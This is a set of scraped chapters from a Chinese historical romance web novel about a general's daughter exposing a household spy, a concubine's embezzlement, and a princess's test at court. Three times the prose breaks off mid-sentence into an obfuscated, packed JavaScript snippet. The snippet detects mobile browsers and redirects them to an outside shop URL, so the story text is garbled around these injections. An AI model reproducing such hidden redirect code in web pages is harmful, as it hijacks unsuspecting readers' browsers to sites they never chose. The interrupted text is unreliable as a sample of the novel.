桃仙儿浑身一僵，堪在箫域肩膀上的手指一紧。画舫那日，她本是奉宸王之命刻意接近，那一曲琴音藏着试探，却未想竟真的入了他的心。 她低眸避开他灼热的目光， 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最后一句犹如银针般刺在了桃仙儿的心尖上，她脸上瞬时白了几分。 心中有旁人？宸王与她是救命之恩，是她必须效忠之人，怎敢心生妄念。 而眼前的端王，却是她沉沦的情愫。她张了张嘴，却不知如何为自己辩解，只能咬着红唇，泪水在眼眶里打着转。 见她这般模样，箫域的怒气又软了下去。他叹了口气，抬手想去擦拭她眼角的泪珠，手指触及到她手背的红肿时，桃仙儿猛地吸了口气，身子一颤。 箫域的动作立马便顿住了，“你的手......”他撇眉，语气瞬间转为急切，“方才烫到了？为何不早说？” 他轻轻拉过她的手，小心翼翼的查看手背上泛红的肌肤，便看见已然鼓起了几处水泡。 箫域眼底满是疼惜与悔恨，酒气瞬间清醒了一半，转身便要去唤门外侍从取烫伤药来，却被桃仙儿拉住。 “公子不必麻烦，一点小伤，不碍事的。”她抽回手，藏在身后，“时辰不早了，奴家为你弹一曲吧。” 箫域望着她故作平静的侧脸，心里五味杂陈。他知晓她在刻意疏远，却不知这疏远背后藏着怎样的用意。 他终究没有强求，只是沉声道：“不必弹了，手既受了伤，便好生修养。” “这段时日我事务繁杂，恐难常来。” 言罢，他便起身要走。 此时，桃仙儿已然走到琴旁坐下，指尖抚上了琴弦，音色缓缓流出，不再是初见时的《广陵散》，也非平日的民间小曲，而是一曲《凤求凰》，调子缠绵，却带着几分难以言说的怅然。 箫凛走至门外，只听房内传来一阵阵琴音，脚步戛然一顿，驻足廊下静静聆听了片刻。 心中顿时只剩一个念头。 无论她心中藏着什么秘密，他都要定了她。 而房内桃仙儿手指不停弹奏着，泪水终究还是顺着脸颊滑落，滴在琴弦之上，晕开一片片水痕。 她知晓，这场始于算计的相遇，早已偏离了预设的轨道，而她，似乎再也回不去了。 汀竹二人从后墙翻回将军府。 入房屋时，汀竹递给了锁秋一粒白色药丸，先行服下后就道：“将此药丸服下，便可解屋中迷魂香。” 锁秋接过，仰头便咽入了腹中。 俩人接着就从后窗潜入了屋内，走至堂屋之处，果然便瞧见屋外大门大开，门槛前的地面上趴着一道人影。 汀竹快步把炉中的迷魂香熄灭，与锁秋又将身上的着装换下，一并藏入了衣柜暗格之内。 “小姐，料事如神。”锁秋低头看着地上正是吸入了迷魂香才晕倒在此的杏儿，不由又问道：“小姐，眼下该如何处置这个杏儿。” 汀竹想了一番，只道：“不必挪动，此香药性绵长，明日才会醒来。” 说罢，她贴近锁秋，附耳低语道：“明日你早些过来伺候我梳洗，届时再这般……” 21. 解围 天将亮，卯时初刻。 锁秋按照昨夜汀竹吩咐的那般，一大清早就起身，面上故作惊惶，扬声唤道：“杏儿！” 门槛地面上，杏儿猛地被这声呼喊惊醒，揉着惺忪睡眼抬头，一脸茫然的抬头望着锁秋。 锁秋又拔高了声调，语气带着几分难以置信，“杏儿，你为何会在此处？” 杏儿慌忙从地上爬起，顾不得身上衣裳脏乱，急忙想替自己解释。还未开口，汀竹便从屏风后缓步走了过来，声音清和带着些许疑惑，“锁秋，何事惊慌？” 锁秋见汀竹出来，连忙上前半步，语气急切，“小姐，奴婢晨起一睁眼，本想去如厕，就见杏儿，在这门口处趴趴着。” “不知何时来的，奴婢竟半点不知晓！” 杏儿脸色涨得通红，连连摆手解释，“不是的，小姐，奴婢......奴婢昨夜是奉命来守夜的，也不知怎的一进门口就晕了过去，绝非有意擅闯！” “奉命？”锁秋截住话头，眉梢微挑，“杏儿，你不知进小姐的屋，要经过小姐允许么？” “且有我守着小姐，何须你来多此一举？” 这一连两问将杏儿给难住，支支吾吾了好一会，竟说不出半句完整话，“小姐，锁秋姐姐，奴婢......” 汀竹眸光微垂，扫过杏儿沾了灰的裙摆，声音依旧平和，“奉命？奉谁的吩咐？” 见杏儿憋了半天仍是闭口不言，锁秋见状，语气狠厉，“你若再不说实话，我这就去禀明老爷，说你图谋不轨，夜闯小姐的闺房，老爷定会为小姐做主将你发卖出去！” 杏儿一听，神色当即就慌乱起来，咬着唇瓣嗫嚅道:“是......是姨娘身边的梨画姐姐，她以奴婢家人安危相胁......让奴婢盯着小姐的一举一动。” “昨夜见小姐房内比先前早早歇息，便以为小姐不在房中，才想进来瞧瞧......” 汀竹闭着双眸轻揉着眉心，半晌未语，瞧不出喜怒。 微风吹过门口，直逼她素净的脸上，睡意瞬间清醒了一半。 锁秋见状，又添了一句，“小姐，这杏儿被人唆使，竟敢夜闯闺房。若不严惩，日后指不定还会生出什么事端！” 杏儿“噗通”一声跪倒在地，泪水顺着脸蛋滚落，连连叩首，“小姐饶命！奴婢也是被被逼无奈，梨画姐姐说。” “若是不从，便要将奴婢爹娘赶出府去，还说......还说要送奴婢弟弟去矿上做苦工！奴婢实在不敢违抗啊！” 她额头磕在地上，咚咚作响，不多时便红了一片，溢出血珠。 听闻被逼迫，汀竹便缓缓抬起了眼眸，看着她那带血的额头，心中一软，但声音依旧清冷，“起来吧。你既非本心，且念在初犯，便不与你计较。” 杏儿一愣，似乎是没料到会这般轻易脱身，怔怔地望着她，忘了起身。 锁秋也有些诧异，低声道：“小姐，这......” “只是，”汀竹话锋一转，眸光瞬间变得清亮，又道：“你需如实告知，梨画除了让你盯梢，还吩咐了你什么？姨娘近来可有异样举动？” 杏儿连忙擦干眼泪，不敢有半分隐瞒，“梨画姐姐只让奴婢每日禀报小姐的行踪，何时出房，见了何人，说了些什么。” “至于姨娘......前些日夜里，奴婢曾在府内后门瞧见姨娘似乎在与什么人低声说话，只是离得远，听不清内容。” “还有吗？”汀竹追问。 “还有……昨日午后，梨画姐姐去账房支取了一笔银子，说是姨娘要打赏下人，可奴婢瞧着那银子的数量，倒不像是打赏用的。”杏儿低头回想，细细说道。 锁秋又想起什么便道明，“昨日你借着打扫名义在小姐闺房之中翻找什么？” “也是梨画姐姐吩咐，让奴婢找找有没有可疑的药瓶……”杏儿忙辩解着。 汀竹颔首，目光落在窗外渐亮的天色上，若有所思，“我知道了。” “你往后便继续向梨画告知我的行程，你该知道什么不该说什么该说吧。” 杏儿忙点头，“谢小姐开恩，奴婢知道该如何！” 接着汀竹颔首示意，杏儿便鞠身退下。 锁秋仍是不解，“小姐，就这般放她回去？” “她不过是枚棋子，”汀竹淡淡道，“留着她，或许日后还有用处。” 锁秋心念一动，即刻应道：“是，奴婢明白了。” 汀竹又嘱咐了锁秋几句，让她盯着杏儿这边莫要出现差错，顺便找个机会去帐房打探一下周姨娘支取银两的用途。 随后，锁秋便开始伺候汀竹的梳洗着装。片刻工夫，汀竹就装扮完毕。 她缓步走到窗边，推开半扇窗。晨风吹拂着她的发丝，带着几分凉意，心中疑虑已然浮现。 周姨娘支取银子是做何用途呢？ 瞧周姨娘平日里对宋将军那般，怎会私会陌生男子？ 难道那名陌生男子与家庙前院装神弄鬼的男子有关？ …… 卯时末刻，晨光斜斜洒在东华门上宫顶，朱红大门已启。门前进去皆是衣着体面的贵女相伴而入，低声笑语伴着离去的马蹄轻响。 汀竹所乘马车缓缓驻定，青帘一掀，她身着烟霞色罗裙，面带同色系列的面纱，鬓边斜插一支点翠蝴蝶钗，缓步踏下车来。 恰在此时，旁侧一辆青缎马车也停稳当，侍女撩帘，露出一抹月白身影。 正是礼部侍郎的庶女李芷瑶，她一身素色绣兰纹的襦裙，银钗素裙却难掩眉眼清秀。 见了汀竹，眼中更是一亮，连忙下了马车朝她这边走来，软声唤道：“宋姐姐。” 汀竹颔首回了个善意的微笑，“妹妹倒是来得巧。” 倒是跟在身后的宋婉看着李芷瑶，随即眼中露出鄙夷之色，冷声道：“宋韫，倒是不知你何时竟会与礼部侍郎李家小姐有交集。” 李芷瑶脸上的笑意霎时僵住，指尖下意识攥紧了裙角，眸色暗了暗，却仍是强撑着礼数，未曾出声辩驳。 汀竹逆眸看向宋婉，眼底满是淡凉，语气却依旧平和，“芷瑶妹妹心善，待人赤诚，怎不能与之相伴？瞧二妹妹这话，倒显得狭隘了。” 她抬手轻扶鬓边钗饰，动作从容不迫，“何况我本就长你一岁，你不唤姐姐，反倒直呼名讳。” “不知二妹妹这般丢了将军府的礼数，若传出去入了父亲的耳中，恐怕二妹妹闭门思过的日子，怕是又要加长了。” 宋婉被她噎了一句，脸色更沉，正要开口，却见宫门内走出一位内侍，尖着嗓子喊道：“时辰将到，请各位修习的贵女们速入崇文轩准备听教。” 汀竹不再理会宋婉，转头对李芷瑶温声道：“妹妹，走吧。” 李芷瑶连忙点头，感激地看了她一眼，缓慢跟着她身侧，两人并肩朝宫门进去。 只留宋婉站在原地，望着她二人背影。她恨得银牙暗咬，身旁的云袖连忙低声劝慰。她却挥袖斥退，眼底翻涌着不甘与怨怼，半晌才悻悻然入东华门。 行至崇文轩前，贵女们先是在侧殿简单用了早膳。再至崇文轩内，数十张案几如昨日那般，案上笔墨纸砚已齐备。 曦光透过雕花窗棂显现出细碎的金纹，落在铺着青毡的地面上。 还未开课，汀竹与李芷瑶站在了轩内一处窗棂前，赏着窗外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王嬷嬷目光扫过宋婉，冷声道：“既未完成罚抄，便按规矩再加罚五遍，三日内呈来。今日晨课，你便站在殿角听教，好好反省何为‘诚信’二字。” “是……”宋婉咬着牙应下，声音细若蚊声。 她躬身行了一礼，狼狈地走到殿角，背对着众人站定，肩头微微颤抖，显然是受了极大的委屈。 王嬷嬷不再理会她，转而沉声道：“今日课业，先习《内训》，兼练簪花小楷。” “诸位皆是名门贵女，需谨记女子立身，以才助德，以文润心，德才双修方为根本，下笔需心正，字如其人，不可轻忽。” 说罢，女官们依次分发抄本与素笺。汀竹坐在案前，执起毛笔，笔尖轻蘸浓墨。 窗外晨光正好，木芙蓉的影子映在宣纸上，随着风动轻轻摇曳。 她手腕微转，笔尖落下。墨汁落在素笺上，晕开浅浅的痕迹。 再次将手腕轻提，笔锋转折间，簪花小楷的娟秀姿态便跃然纸上。汀竹写得专注，只闻得见窗外桂香与笔尖墨香缠绕一起的香味，心情似乎都变得愉悦了不少。 李芷瑶坐在她的身侧后方，相隔几桌。偶尔抬眼望向汀竹的方向，见她写得认真，笔下字迹又工整秀丽，眼底满是赞叹。 转而低头握紧自己的笔，也认真的一笔一画地写着，不敢有半分懈怠。 殿角的宋婉背对着众人，手指死死扣着那殿角的廊柱，几乎将对汀竹所有的恨意统统都发泄到了那根廊柱之上。 她对汀竹的恨意又加深了几分，她在心中暗暗发誓，如今所受的屈辱，她迟早要千倍万倍的还给宋韫！ 22. 账本 锁秋一回府，便先去宋夫人跟前禀明了汀竹的意图。宋夫人便让梓盼携锁秋前去账房，特以过几日是四时祭冬烝为由，许二人查阅账单。 二人相伴去了将军府账房。 账房内的刘管事见梓盼、锁秋俩人进门，忙起身询问，“梓盼姑娘今日来账房，不知有何吩咐？” 梓盼走至前面，抬手便将宋夫人给的令牌，递与刘管事过目。 这四时祭祀，往日原是由宋老夫人主持，后都宋夫人交由操办。前些年宋夫人身体欠安，便暂托周姨娘打理，夫人则是过目账本即可。 “这不过几日便是冬烝祭祀，夫人特命我二人前来，一则查看备祭祀所需要的银两，二则核对采买礼单。”梓盼语声温婉，条理分明 刘管事抬头扫过她身后的锁秋，略一迟疑，“往常都是姑娘与梓溪姑娘同来，今日怎是与大小姐身边的锁秋姑娘一道？” 梓盼含笑道:“梓溪正陪夫人在沁香园赛太阳，大小姐又去崇文轩修习。” “锁秋妹妹正好无事，便随我过来搭把手。” 刘管事再次看了一眼锁秋，只见锁秋上前半步，脸上带着浅浅的笑意，柔声附和，“正如梓盼姐姐所说，我闲着也是闲着，正好来帮姐姐跑跑腿、打打下手。” 刘管事见状，便不再多问，转身取来账本递给了梓盼。 梓盼细细翻阅往届冬烝祭祀的账目，锁秋便站立于她的身侧，目光亦随着翻动而扫过账页。 不过翻了一两页账本，便见前几日周姨娘遣梨画来账房支取银两的记录。 “五十两白银。”梓盼轻声念出，指尖落在那行字迹上。 锁秋也瞧见了那账页上的墨迹，眼中略有疑惑，立马就附和着，“五十两倒是不少呢，想来姨娘为祭祀备办了不少妥当物件。” 梓盼掀起眼睑，转头对着刘管事道：“刘管事，这五十两是用于何处采买？礼单可有附在后面？” 刘管事闻言，躬身回应，“回姑娘，那日梨画姑娘说是姨娘吩咐，先支取银两买祭祀用的香烛，帛品与鲜果，礼单说是后续补来，至今尚未送来账房归档。” “尚未归档？”梓盼眉头紧缩，扬着声似乎带着有些责备之意，“祭祀之事非同小可，礼单岂能拖延？再者冬烝采买这些物件，至多不过三十两，此次怎会多出二十两来？” 刘管事面露难色，搓了搓手赔着笑，“姑娘有所不知，近来京中物价略涨。且姨娘说今年要格外隆重些，故而银两多支取了些。” “至于礼单，小人也曾催过梨画姑娘，只是她言说姨娘那边还未清点妥当，再让宽限几日。” 锁秋在旁轻声接话，语气柔和却带着几分较真，“刘管事，祭祀用品关乎先祖供奉，半点马虎不得。既要隆重，那采买的物件更该明细清楚才是，不然夫人过目时，若是问起，咱们也不好回话。” 她这话正说到梓盼心坎里，梓盼点头附和，“锁秋妹妹说的正是。” “刘管事，烦你将这几日与周姨娘相关的账目都寻出来，我们一并核对清楚，也好回禀夫人放心。” 虽说周姨娘深得老爷的喜爱，但再得宠终究是姨娘。因此刘管事不敢违逆，只得从身后柜中翻出一叠账目，一一摊在案上。 锁秋借着帮梓盼整理账目的由头，目光飞快的看过每页记录，只见除了这五十两祭祀银两，前几日还有一笔三十两的“添置陈设”银两支取，经手人亦是梨画。 “这三十两又是何用？”锁秋指着那行记录询问。 刘管事回道:“说是姨娘院里的厢房要添置些绒毯、熏炉，故而支取的。” 锁秋心中冷笑，周姨娘院里的陈设素来精致，怎会突然要添置这些？且偏在祭祀前夕，两处加起来便是八十两。 不仅如此还翻到为备赵老夫人的寿宴之时，寿礼以及老爷、两位小姐的衣裳共花费了一百五十两白银。还有再前些日打点府内下人的月银等等。 锁秋心中满是疑惑，周姨娘花费了这么多银两，怕是中饱私囊。 便抬眼看向了梓盼，见梓盼眸中也带着几分疑虑，就知二人想到了一处。 “这些账目我们且先记下，回禀夫人再作定论。”梓盼将账册合上，拿了账册副本就对刘管事道:“劳烦刘管事暂且留着这些账目，夫人若有疑问，还会要来请教。” 刘管事连忙应下，“姑娘客气了，理应如此。” 二人辞别刘管事，转身出了账房。走至回廊下，梓盼才压低声音道：“这账目分明古怪，周姨娘怕是借着祭祀由头，中饱私囊了。” 锁秋点头，眸子沉了沉，“不仅如此，那三十两添置陈设的银两，还有备赵老夫人寿所花的一百五十两，以及再前些日的打点下人等，怕是都有问题。” 梓盼道：“我们先回禀夫人，再做打算。” 话音刚落，便见前方拐角回廊处走来一抹身影，正是周姨娘身边的梨画。 梨画瞧见回廊下的二人，脚步微顿，脸上随即就浮现了笑意，走至前来福了福身，“原来是梓盼姑娘和锁秋姑娘，二位刚从账房出来？” 她目光在二人脸上扫了一圈，瞥见梓盼手中握着的账册副本，眼底飞快闪过一丝疑虑，声音却依旧柔和，“可是为了冬烝祭祀采买之事？方才姨娘还念叨着，礼单已经清点妥当了，让我送来账房归档呢。” 梓盼心中一动，面上却不动声色，将账册往身后藏了藏：“原是如此，方才刘管事还说礼单未到，正要回禀夫人呢。” 锁秋站在一旁，浅笑着接话：“梨画姐姐来得正巧，省得我们再跑一趟。只是方才见姨娘前几日支取了五十两祭祀银两，还有三十两添置陈设的银子，不知这陈设是要添在何处？” 这话一出，梨画的笑容僵了一瞬，随即掩饰说着，“不过是姨娘院里的绒毯旧了，熏炉也不大暖和，便换了些新的。祭祀要紧，这些都是小事。” “小事？”梓盼凌厉着双目，“姨娘院里的陈设素来精致，前几日我代夫人前去姨娘那回话，瞧着绒毡还簇新着，怎的突然就要换掉？再者，三十两银子买些绒毡熏炉，未免太过铺张了些。” 梨画眼神闪烁，语气却十分硬气，“梓盼姑娘有所不知，近来京中上好的绒毯价格涨了不少。眼看将要入冬，冬日严寒，姨娘要的是最厚实的暖绒，再配上两座熏炉，三十两已是算着来的。” 锁秋眼眸一转，学着汀竹的语气笑道：“原来如此，是我们少见多怪了。只是大小姐昨日还说起暖居阁没厚实的绒毯，既然姨娘这有门路，不如也帮我们捎带一块。” 这话一出，倒是戳中了梨画的要害，她哪里是真买了绒毯熏炉，不过是姨娘借着由头支取些银两罢了。 梨画的脸色白了又白，强装镇定说道:“这......这门路倒是有，只是近来货物紧，怕是难再匀出一块了。” “不过既是大小姐要，那我便跟姨娘说道说道，给大小姐留意一块。” “哦？”锁秋挑眉笑道：“那我便先替我家小姐谢过姨娘了。” 梨画手心已然溢出冷汗，脸上的笑意略显牵强，刚点头应和着锁秋的话，恰在此时，远处便传来丫鬟的呼唤，“梨画姐姐，姨娘唤你回去呢！” 梨画瞬间松了口气，忙对二人福了福身，“二位姑娘，姨娘那边催得紧，礼单我先送回账房，改日再陪二位说话。”说罢，不等二人回应，便急匆匆转身快步离去，裙摆都险些绊住她的脚步。 瞧着她仓皇离去的背影，二人相视一笑。 “她方才神色如此慌张，分明是心虚了，这其中定然有问题。”梓盼沉声道。 锁秋点了点头，“五十两祭祀银，三十两陈设银，这都加起来八十两了，还未算赵老夫人寿宴所花的银两。若不是遮掩什么，何必如此费尽心机。我们快些回去，将此事禀告夫人。” 见阳光散去，二人不再耽搁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701442|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，加快脚步往正院而去。 此时梓溪刚扶着宋夫人回了正院，正坐在院里的软凳上绣着荷包，神色专注。 见二人回来，宋夫人抬头问道：“账目核对清楚了？所需银两和礼单可都妥当？” 梓盼上前走至宋夫人身侧，将账册副本递上,“夫人，账目有些蹊跷，还请夫人过目。” 锁秋在一旁补充着，“夫人，前几日周姨娘支取了不少银两。可方才梨画前来归送礼单，言行颇多破绽，似是有所隐瞒。” 宋夫人接过账册，缓缓翻开了账册，目光便落在了那两行记录，眸色渐渐沉了下来。 宋夫人将账册放在石桌上，深深吸了两口气，声音冷了几分，“周姨娘倒是越发胆大了，祭祀银是给祖宗置办供品的专款，陈设银两更是虚报冒领，她就不怕让老爷知晓？” 梓盼又道：“夫人，梨画方才被问得语塞，神色慌张，想来着八十两银子定有猫腻。或许不止这一笔，不如让账房把近半年的支取记录都调出来，仔细核对一番？” 锁秋随即附和着，“正是如梓盼姐姐所说，我方才假借小姐的名义，说暖居阁缺绒毯故意试探梨画。” “她却说货物紧，可转头就以换绒毯为名义支取银两，前后矛盾，分明是谎话。” 宋夫人沉思片刻，阳光透过院里木芙蓉的花的间隙洒下，却暖不透她眼底的寒意，“不必调账了。” “周姨娘自嫁入府中，便总想钻些空子，先前克扣下人月钱我便睁一只眼闭一只眼。如今又得老爷宠溺，怕是......” 说到此处，宋夫人心里不禁泛寒。 “夫人，不如等小姐回来一起商议？”锁秋见宋夫人神色苦涩，便提议着。 宋夫人闻言稍有一愣，但很快恢复如常，“那便待清禾归来，再从长计议吧。” / 梨画送了礼单，便立即回了西厢房，将方才之事悉数告知了周姨娘。 此事言毕，周姨娘脸色大为不好，厉声道：“你说什么！？” 梨画战战兢兢说道：“咱们暗中克扣银两之事，夫人怕是知晓了。” “她素来从不仔细查阅账目，今日怎的这般上心？”周姨娘来回踱着步，神色焦灼，口吻带着质问。 梨画揩了揩额角的虚汗，支支吾吾说道：“奴婢也不知啊……” 周姨娘左思右想，也不知是哪个环节出了纰漏，连忙追问着梨画，“这两日宋韫的行踪，可有异常？” 梨画便将杏儿跟她所说的，“未见半点异长之处”据实禀告了周姨娘。 “这就奇怪了？”周姨娘脚步未歇，来回走踏，眉宇间依旧紧绷，未有半分松弛。 “你方才说，撞见的是梓盼与锁秋？”周姨娘又问道。 梨画点头应道：“莫非其中有什么不妥？” 周姨娘当即“哼”了一声，嘴角便勾起一抹冷峭笑意，“难怪如此。” “不过这般便按捺不住，就急于露出自己的狐狸尾巴，还以为是个聪明人呢。” 她心中已然明镜似的，知晓了是谁在从中出主意。 看来莲溪所言非虚，宋韫先前那般柔柔弱弱、处处示弱，竟是她周伊人看走眼了。 年纪轻轻，心思倒这般深沉，断断留不得。 “姨娘指的是……大小姐？”梨画试探着问道。 周姨娘嗤笑一声，眼底满是轻蔑之意，“不过是个黄毛丫头，掀不起什么风浪。” 言罢，她朝梨画勾了勾手，让她近身来，“你附耳过来，到时候便这般……” 梨画听得专注，忽然想起方才锁秋的试探，面露难色地禀道：“姨娘，方才锁秋来探口风，奴婢应了要给大小姐留意块绒毯，这该如何圆过去才好？” 周姨娘幽着眸子，唇边冷笑不减，语气淡然，“哼，既应了，就给她挑块上好的便是。” “我倒要瞧瞧她能用上多久。” 23. 公主 巳时的课业结束，午膳罢。众贵女围坐清谈，论诗词、话妆匣。或在轩内小息，借窗隙微风消解倦意。 不多时，廊下忽闻侍从朗声通传道：“昭宁公主到——” 众人闻言，皆敛容起身，整衣拂袖，齐齐迎至阶前相侯。 长廊拐角处，一道明黄身影款步而来。昭宁公主发鬓斜簪赤金蝶恋花步摇，流苏随步履轻晃，碎光落于眉眼间映得那张小脸愈发清艳照人。她身着折枝莲绣纹的宫装，裙摆扫过青石地面，带起几缕无声的风，却自携三分威仪。 廊下众人见状，纷纷躬身行礼，“参加公主殿下，殿下万安。” “免礼。”她朱唇轻启，声音柔婉却带着难以掩饰的皇家与生俱来的贵气，慢过寂静的长廊，目光缓缓扫过众人，最终落在窗边侍立，戴着面纱的汀竹身上。 那面纱半掩容颜，只只她垂下的双眸。 昭宁手指轻转着腕间白玉镯，语气带了丝清淡的探询，“听闻与太子哥哥有婚约的宋小姐昨日也入了崇文轩。本宫昨日原是想来探望，只因要陪皇祖母说话耽搁了，便趁今日得空过来瞧瞧。” “不知哪位是宋小姐呢？可否容本宫瞧瞧。” 汀竹身子一僵，周遭的目光瞬间聚集在她身上，连空气都似乎凝固了几分。 原来是冲她来的，也不知这昭宁公主是何性子。 于是她便故作畏惧姿态，缓缓抬眸，眸中带着几分无措，却还是依着礼数躬身，“臣女宋韫，见过公主。”声音轻柔，带着一丝显而易见的颤抖之色。 昭宁见状，唇角边勾起一抹极淡的弧度，缓步朝她走近，指尖几乎要触到那层面纱，语气似笑非笑，“早听闻宋小姐貌若天仙，怎倒这般遮遮掩掩的？” 指尖堪堪将触到面纱的瞬间，汀竹下意识地往后微退了半步，袖角紧攥，连带着鬓边插着的素银簪子都轻轻晃动。 太和城里都知宋韫相貌丑陋，怎到了昭宁公主口中便成了貌若天仙？怕是有意刁难。 这细微的闪躲落在昭宁眼中，她唇角的笑意又深了几分，却没再强求，只是收回手，垂放在身前，目光在汀竹身上慢悠悠打了个转。 “倒是胆小。”昭宁的声音依旧柔婉，却多了丝戏谑，“太子哥哥向来疼人，往后嫁入东宫，总不能一直这般怯生生的。” 廊下众人屏息凝神，谁都看得出昭宁公主对这位未来太子妃似乎带着几分试探。 汀竹不禁微拧着眉头，垂着头，眼眸中似有意无意的闪躲着，这番神色落入昭宁眼中倒显无措的窘迫，倒让她心情美妙了不少。 “臣女面貌丑陋怕污了公主的眼，倒不似传闻那般，公主听闻的貌若天仙应是臣女的妹妹宋婉。”汀竹轻声说道，忙将话头转向了宋婉。 “哦？”昭宁轻笑一声，转身便走到轩院一处的梨花木椅上坐下，宫女连忙上前奉茶。她端着茶杯，水汽模糊了眉眼，语气却骤然沉了些，“本宫倒是听闻过宋将军有两位千金，竟忘了府上还有一位。如此说来，倒是本宫记岔了。” “既是记岔了，那便罚本宫敬宋二小姐一杯如何？”昭宁手指托着茶杯，轻轻晃荡着杯中半盏茶水，目光掠过汀竹，直直落在神色略显茫然的宋婉身上，笑意不达眼底。 宋婉忙敛衽上前，声音娇弱，“公主折煞臣女了，能得公主垂青，是臣女的福气。”说着便要端起身侧的茶杯，却被昭宁抬手止住。 “急什么。”昭宁慢悠悠啜了口茶，抬眼时眸中已无半分笑意，“听闻二小姐才貌双全，琴棋书画样样精通，不如今日露一手，也让本宫开开眼？” 廊下众人目光顿时齐聚宋婉身上，有好奇，有探究，更有几分看戏的意味。汀竹心中松了口气，既然宋婉爱表现自己，她便将这机会给了宋婉，不然这展示的机会便是自己了。 宋婉面上笑容不变，眼底却闪过一丝为难。正欲开口，身侧的李娇璃便抢先替她解围，“公主有所不知，宋妹妹昨日偶感风寒，身子违和，怕是难以献艺，扰了公主雅兴......” “是啊公主，”宋婉连忙接过话，语气带着怯意，“臣女身子不适，恐难当此任。再者，臣女这微末技艺，却不及家姐万一。倒不如让家姐替臣女展露一手，公主以为如何？” 宋婉这话一出，廊下顿时静了静。 众人目光齐刷刷转回汀竹身上，方才还作观望神色，此刻多了几分玩味。 这俩倒是会推来推去，偏偏把这难题又抛回了未来太子妃身上。 汀竹方松口气看戏，这李娇璃倒是会给人找台阶，同着宋婉将她推到风口浪尖。 深吸了口气，手指又悄悄掐了大腿皮肉一把，酝酿了片刻。 她抬眸时，眸中已蓄了浅浅一层湿意，屈膝躬身的幅度又大了些，声音带着恰到好处的惶恐，“妹妹说笑了，臣女资质素来愚钝，素来只懂些粗浅女红，前段时日坠崖伤了手，怕是技艺不如从前，再者......” 汀竹抬手轻轻拢了拢面纱边缘，语气愈发低微，“臣女本就容貌有碍，若是在公主面前献丑，反倒污了殿下的眼，还请公主恕罪。” 昭宁端着茶杯的手一顿，茶水晃出些许涟漪，落在青白玉的杯沿上。 便似笑非笑的瞥了眼宋婉，又转回头看向汀竹，语气听不出喜怒，“哦？坠崖伤手？本宫倒不知，未来太子妃还遭过这般凶险。” “如此说来，倒显得本宫强人所难了。” 昭宁语气平淡，却带着几分不容置喙的威压。汀竹脸上的笑意僵在了原地，这公主当真是难缠。 身侧的李芷瑶想替她圆场，却被汀竹手臂往后一挡，余光瞥过，示意她不要开口。 李芷瑶攥紧绣帕的手又放下，就将嘴边的话给咽了回去。 汀竹敛衽欠身，语气淡然无波，“既然公主执意，臣女便献丑了。只是伤了手，手或许有些不稳，还望公主海涵。” 昭宁挑眉，朝宫女使了个眼色。很快，两名宫女捧着一架紫檀木琴上前，轻轻放在轩内石案上。琴弦泛着淡淡的光泽，一看便知是把上等好琴。 汀竹不紧不慢地缓缓走至琴前坐下，好在这几日在醉心楼得桃仙儿指点，倒是能将《竹吟》完整弹出，今日恰逢此事，正可一试身手。 她抬手素指轻覆琴弦，先是轻挑慢捻，一缕清越琴音如空山竹语，幽幽漾开。 《竹吟》起调清逸，初时如微风吹过竹林叶间，弦音疏朗空灵。渐渐地指法流转，琴音婉转，又似清泉潺潺淌入竹林，缠缠绵绵。 高潮处指法激越，弦音却不躁乱无章，而是宛如狂风过竹，枝摇叶舞发出阵阵欢呼。 末了，指法渐渐缓了下来，余音袅袅，炫音归于平静，似皎月悬空，残风拂过竹尖发出的淡淡轻吟。 满轩寂静，唯有琴音流转，仿佛身置苍翠竹海，鼻息间恍惚能闻到山野的清香，耳边又聆听着竹海间的妙乐。 竟让人忘却身处宫苑之中。 昭宁原本带着几分有意难为之意，如今却渐渐凝住，眉梢的轻挑倒化作了不易察觉的诧异。 这宋韫，倒是有些本事。 琴音余韵渐散，轩内静了半晌，才有人低低赞叹出声。 昭宁放下茶盏，转而手肘倚着石几撑着脑袋，宽大的袖摆随着动作滑落，露出那温润的白玉镯。 目光又重新落回了汀竹身上，先前的戏谑与试探淡了许多，多了几分真切的审视，“这首曲倒是清逸灵动，指法虽偶有滞涩，却难得意境通透，倒不似粗浅技艺。” “这般雅曲，本宫倒未曾听过。” 汀竹垂眸敛手，指尖还残留着琴弦的微凉，声音依旧柔婉带怯，却比先前多了几分稳当，“回公主，此曲名《竹吟》，是民间小曲，登不得大雅之堂。” 凉风入袖，昭宁理了理袖摆，眸中诧异未散，反倒添了几分兴味，“民间小曲能有这般意境，倒是难得。本宫在宫中听惯了《广陵散》《梅花三弄》，这般清润如竹露的曲子，倒让人耳目一新。” 她话音刚落，宋婉脸色便添了几分不自在，捏着帕子的手指微微泛凉。先前她夸口自家技艺不及姐姐，原是想将难题推回去，怎料宋韫竟真有这般本事，反倒显得她小气又无措。 李娇璃见状，忙打圆场笑道：“宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711138|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 